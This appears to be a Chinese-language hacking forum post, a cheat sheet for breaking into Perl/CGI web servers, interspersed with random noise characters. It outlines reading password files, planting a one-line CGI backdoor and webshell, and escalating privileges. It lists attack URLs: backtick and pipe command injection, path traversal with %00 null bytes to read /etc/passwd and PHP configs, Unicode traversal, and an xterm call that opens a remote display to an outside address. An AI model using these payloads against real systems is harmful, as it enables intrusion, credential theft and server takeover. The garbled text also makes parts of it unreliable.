总体思路,跳过限制,查看敏感文件和密码相关文件。写入一句话cgi,进后台试传webshell(后台如果加验证或者MD5过的时候,可以试着
: G/ G; |- n G1 d3 ]0 Y. `3 `cookies欺骗,本地提交),寻找可执行的目录和相关函数,拿shell…………》提权 7 @, J; f' h# Y" d
感谢EMM和ps的睿智和他们高超的脚本技术,还有以前老红4的脚本群英和国外的那些牛淫们
: g; r- Q% T4 G, n) ^# {注“
/ A( `! j, x6 bperl脚本的漏洞大多出在open()、system()或者 ’’调用中。前者允许读写和执行,而后两个允许执行。 - \% z" I% C4 z% S% Q/ B
以POST的方法发送表格的话,就不能蒙混过关(%00将不会被解析),所以我们大部分用GET
) ~) `5 Y: J p7 R' h! D2 D7 G! t/ ~
http://target.com/cgi-bin/home/news/sub.pl?12 随意构造
! \( D4 r2 _ g: b1 _& G- W) F0 ~http://target.com/cgi-bin/home/news/sub.pl?& 换个字符,也许可以执行呢
! L U+ \+ Z/ o% Fhttp://target.com/cgi-bin/home/news/sub.pl?`ls` 单引号 0 X* ~/ h u; T( u/ @, J) _
http://target.com/cgi-bin/home/news/sub.pl?`id` 3 z( h6 I7 p; e9 p% F) R" U
http://target.com/cgi-bin/home/news/sub.pl?`IFS=!;uname!-a`
1 W: k {6 v* E0 H8 y) A8 F6 N. `http://target.com/cgi-bin/home/news/sub.pl?`cat<’/home1/siteadm/cgi-bin/home/news/sub.pl’` 非常好的思路,把代码cat回来显示
# M# ^8 X, c5 T
5 F( I/ h: ?" i0 A2 z$ v$ }5 xhttp://target.com/test.pl;ls|
3 q5 S. R- `- ?% ?1 C/ }http://target.com/index.cgi?page=|ls+-la+/%0aid%0awhich+xterm| ' o) j5 ^6 R; t
http://target.com/index.cgi?page=|xterm+-isplay+10.0.1.21:0.0+%26|
, Y" d! d4 C) r; X( Hhttp://target.com/test.pl?’id’ 类似’’内的操作和命令执行自己构造
- F: u3 M$ J& c9 ~4 E) ?7 y7 \3 L# Z比如:cat<’/home1/siteadm/cgi-bin/home/news/test.pl’` 把pl代码显示出来。
8 t' [9 A v9 N1 f' Fhttp://target.com/index.cgi?page=;dir+c:\|&cid=03417 类似asp的Sql injection
: N! t0 X/ e. B5 |" ?9 ~- U S3 E4 H) {& ~: F
http://target.com/test.pl?&........ /../../etc/passwd
; R& I$ l, ~( V& V f0 m, h
6 ?7 t. M# a9 u) i. c0 }http://www.target.org/cgi-bin/cl ... info.pl?user=./test 前面加./
# l& [5 \# b6 h. G) dhttp://www.target.org/cgi-bin/cl ... nfo.pl?user=test%00 注意后面的 %00 别弄丢了
. j4 u# A( f! A# ]; Zhttp://www.target.org/cgi-bin/cl ... ../../etc/passwd%00
4 O' A" I% Q( c, w% p/ Y
1 b- L9 M# b* E" t& T( o7 \http://www.target.org/show.php?f ... /include/config.php 查看php代码
2 g2 F5 a- V4 z7 E! u* chttp://www.target.org/show.php?f ... ng/admin/global.php / y6 ~1 G8 b! J: a$ v
7 [9 F2 N: f4 a( q( z
emm和ps的一句话0 m# W4 ]5 O* G1 i; v t0 j
4 h& S! [4 E6 L) [
http://www.target.org/cgi-bin/cl ... /../../../bin/ls%20 * \7 v9 P+ h7 R! \- ^
/ s2 A4 x' ?& M8 a: L
>bbb%20| + D9 `4 }/ V6 w" h# F" x; q" l
: g$ d- T" J7 y& g
http://www.target.org/cgi-bin/club/scripts\’less showpost.pl\’ 并且寻找(用\’/\’)\’Select\’ 字符串 ( X' H$ G- \, m: u& Z; t
) N: E2 R* X2 n$ ]" L8 G/ X
http://www.target.org/cgi-bin/cl ... bin/sh.elf?ls+/http 这里的是elf是CCS中文linux操作系统特征
5 J# ]% ?2 @& U9 ]4 qhttp://www.target.org/csapi/..%c0%afhttp/china.sh”+.elf?”+&+ls+/bin
7 x$ p! x) Q) I, L9 O) t0 f' B
) R5 Y. d! P' h3 `9 M/ E L! ~! j9 O相关html为后缀的脚本技术,继续深挖中,但是不可质疑的是提交数据查询语句也是一种完美的方法 $ r; l( s( Q- j# \8 v
http://target.com/index.html#cmd.exe
2 p9 o8 o& {8 s2 b( @. g( n8 ehttp://target.com/index.html?dummyparam=xp_cmdshell
( [. \6 X& A: }( {! o. ^/ |) Ulynx http://target.com/cgi-bin/htmlscript?../../../../etc/passwd
3 A* `7 D, A$ S/ K4 M: {- A4 y+ J |